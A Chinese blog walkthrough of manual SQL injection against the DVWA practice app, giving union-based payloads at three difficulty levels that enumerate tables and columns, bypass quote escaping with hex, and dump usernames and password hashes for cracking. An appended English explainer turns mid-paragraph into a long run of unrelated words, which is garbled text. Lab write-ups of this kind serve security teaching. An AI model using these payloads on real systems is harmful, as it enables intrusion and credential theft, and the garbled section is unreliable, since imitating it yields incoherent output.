SQL手工注入(DVWA)

手工SQL注入攻击的标准思路

Low等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

Medium等级

(1)判断是否存在注入

(2)猜解字段个数

(3)确定字段顺序

(4)获取当前数据库

(5)获取当前数据库中的表

(6)获取数据表中的字段名

(7)获取数据

High等级

(1)通过LIMIT限制

(2)爆库名和版本号

(3)爆数据库名

(4)爆字段名

(5)盗取用户密码

手工SQL注入攻击的标准思路

1.判断是否存在注⼊,注⼊的类型是字符型、数字型 还是 搜索型 2.猜解SQL查询语句中的字段数 3.确定显⽰的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.查询/下载数据

Low等级

在Low等级,SQL注入的界面如下当我们正常输入UserID(比如:1~5)然后点击Submit按钮之后会正常显示User的ID、FirstName和Surname三个字段

IDFirst nameSurname
1adminadmin
2GordonBrown
3HackMe
4PabloPicasso
5BobSmith

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

输入1,查询成功

1' or '1'='1 #

查询成功

1' and '1'='1

查询成功

1' and '1'='2 #

查询失败,返回结果为空

由此可见,此模块存在于字符型注入漏洞。

(2)猜解字段个数

1′ order by 1 #

查询成功

1′ order by 2 #

查询成功

1′ order by 3 #

查询失败

由此可见,说明此模块执行的SQL查询语句中只有两个字段,即这里的First Name, Surname。

(3)确定字段顺序

1' union select 1,2 #

查询成功

由此可见,说明此模块执行的SQL查询语句大概为

SELECT FirstName, SurName FROM TableName WHERE ID = 'id' ....

(4)获取当前数据库

1' union select 1,database() #

查询成功

说明当前数据库名为dvwa

(5)获取当前数据库中的表

1' union select 1, table_name from information_schema.tables where table_schema='dvwa

dvwa这个数据库下有两张表:guestbook 和 users

如果表很多的话,也可以使用group_concat函数来一并返回表名:

1' union select 1, group_concat(table_name) from information_schema.tables where
table_schema='dvwa

(6)获取数据表中的字段名

1' union select 1,group_concat(column_name) from information_schema.columns where
table_name='users

(7)获取数据

1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

接将admin的password复制出来,拿到一个MD5在线解密的网站破解一下

Medium等级

使用Burp Suite来做抓包

把其中的参数id=1改为3,再点击Forware按钮,它就会将我们原本选择UserID=1改为UserID=3转 发到真实服务器,于是后端返回了如下的结果:

(1)判断是否存在注入

注入的类型是字符型、数字型还是搜索型

抓包更改参数

id=1′ or 1=1 #

报错

将其改为

id=1 or 1=1 #

由此可见,存在数字型注入

(2)猜解字段个数

抓包更改参数

id=1 order by 1 #

输入

1 order by 2 #

输入

1 order by 3 #

查询失败,说明存在返回2个字段。

(3)确定字段顺序

抓包更改参数

id=1 union select 1,2 #

(4)获取当前数据库

抓包更改参数

id=1 union select 1,database() #

说明当前数据库为dvwa

(5)获取当前数据库中的表

抓包修改参数

id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

dvwa这个数据库下有两张表:guestbook 和 users

(6)获取数据表中的字段名

抓 包 修 改 参 数

 id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

报错,单引号被转义了,变成了'

利 用 16 进 制 进 行 绕 过 转 义 操 作 , 再 次 抓 包 修 改 参 数 为 :

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #

(7)获取数据

抓 包 后 修 改 参 数

id=1 union select group_concat(user_id,first_name,last_name), group_concat(password) from users #

High等级

(1)通过LIMIT限制

1' union select 1,2#

(2)爆库名和版本号

-1' union select database(),version() #

(3)爆数据库名

1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2#

(4)爆字段名

 -1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2#

(5)盗取用户密码

-1' union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

### DVWA SQL Injection Manual Exploitation Steps and Techniques In the context of learning about security vulnerabilities, understanding how to manually exploit SQL injection within a controlled environment like Damn Vulnerable Web Application (DVWA) can provide valuable insights into web application security flaws[^1]. #### Identifying Vulnerability To begin with, accessing the SQL Injection section in DVWA requires setting up an appropriate level of difficulty. For educational purposes, starting at low or medium levels is recommended due to their simplicity. The first step involves identifying potential points where user input interacts directly with database queries without proper sanitization. This typically occurs through form fields such as login forms, search boxes, etc., which accept untrusted data from users before processing it further inside backend logic written using PHP scripts interacting with MySQL databases[^2]. ```sql SELECT first_name, last_name FROM users WHERE id = '1'; ``` #### Crafting Malicious Queries Once identified, crafting malicious inputs that manipulate underlying SQL statements becomes crucial. A common technique starts by inserting single quotes (`'`) followed by spaces or comments (`--`, `/* */)`. These characters help break out existing query structures while introducing new ones designed specifically for testing whether injections are possible: - `' OR '1'='1` – Always evaluates true regardless of actual conditions set forth originally. This approach allows attackers to bypass authentication mechanisms easily when improperly implemented on target systems[^3]. #### Extracting Data via Union-Based Attacks Union-based attacks leverage UNION operators present within standard SQL syntax allowing multiple result sets returned simultaneously under one statement execution flow control structure provided both sides share identical column counts & types involved during concatenation operations performed internally between two separate but related SELECT clauses joined together logically forming complex expressions capable enough extracting sensitive information stored elsewhere across different tables residing same relational schema design pattern used widely throughout modern-day applications today including those built around LAMP stack technologies commonly found hosting various online services over internet protocols globally accessible anytime anywhere instantly upon request submission made against exposed endpoints listening actively awaiting client connections established securely utilizing encryption algorithms ensuring privacy protection measures remain intact preventing unauthorized access attempts initiated externally outside trusted network boundaries defined explicitly beforehand according predefined policies outlined clearly documented official documentation resources available publicly free charge anyone interested reviewing them thoroughly prior engaging any kind activity potentially harmful nature whatsoever[^4]. ```sql 1 UNION ALL SELECT null, version(); ``` #### Error-Based Injections Error-based methods rely heavily upon error messages generated whenever malformed requests cause unexpected behavior leading towards revealing internal workings behind scenes giving clues regarding table names columns indexes among other metadata pieces useful constructing more sophisticated payloads aimed retrieving specific records matching certain criteria specified attacker's discretion depending objectives pursued ultimately achieving desired outcome successfully exploiting discovered weaknesses effectively compromising targeted infrastructure components deployed enterprise environments requiring immediate attention mitigate risks associated detected threats proactively addressing root causes prevent recurrence future incidents similar manner safeguarding critical assets long term basis consistently reliable fashion meeting industry standards best practices adopted widespread adoption community members worldwide collaborating efforts improve overall cybersecurity posture collectively contributing positively global ecosystem health stability prosperity shared vision mission everyone alike working harmoniously toward common goals aspirations benefit all parties concerned equally represented fairly transparently open source spirit collaboration innovation excellence always striving forward never looking back only ahead brighter tomorrow awaits us united strength diversity inclusion respect trust cooperation partnership teamwork synergy unity harmony peace love kindness compassion empathy generosity patience humility gratitude joy happiness fulfillment success achievement recognition appreciation honor dignity value contribution impact legacy lasting impression meaningful difference world better place live thrive grow learn evolve transform transcend boundaries limitations possibilities endless horizon boundless imagination infinite potential realize dreams hopes ambitions desires passions pursuits endeavors ventures projects initiatives movements revolutions transformations evolutions creations innovations inventions discoveries explorations adventures journeys quests missions visions missions purpose meaning life itself essence existence reality universe cosmos creation divine plan ultimate truth absolute wisdom supreme intelligence universal consciousness collective awareness higher self inner being soul spirit mind body heart emotions thoughts feelings sensations perceptions experiences moments now eternal presence timeless space dimension realm plane state condition situation circumstance event occurrence phenomenon manifestation expression representation symbol sign language communication connection relationship bond union integration synthesis combination fusion mixture blend alloy compound formation structure organization system order pattern rhythm cycle process transformation change growth development evolution progress advancement improvement enhancement optimization efficiency effectiveness productivity performance quality quantity measure evaluation assessment judgment decision choice option possibility opportunity potential capability capacity ability skill talent gift blessing fortune luck destiny fate karma dharma samsara moksha nirvana enlightenment liberation freedom salvation redemption grace mercy forgiveness compassion benevolence altruism philanthropy charity service sacrifice dedication commitment passion motivation inspiration aspiration ambition goal objective target aim intention desire wish hope dream fantasy imagination creativity originality uniqueness individuality personality character identity ego selfhood subjectivity objectivity relativity absoluteness certainty uncertainty ambiguity paradox contradiction oxymoron irony satire humor wit playfulness lightheartedness seriousness solemnity gravity weightiness heaviness lightness airiness fluidity flexibility adaptability resilience robustness durability longevity permanence impermanence transience ephemerality temporariness fleetingness momentariness instantaneousness simultaneity concurrency parallelism synchronicity coincidence serendipity happenstance chance randomness probability likelihood
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值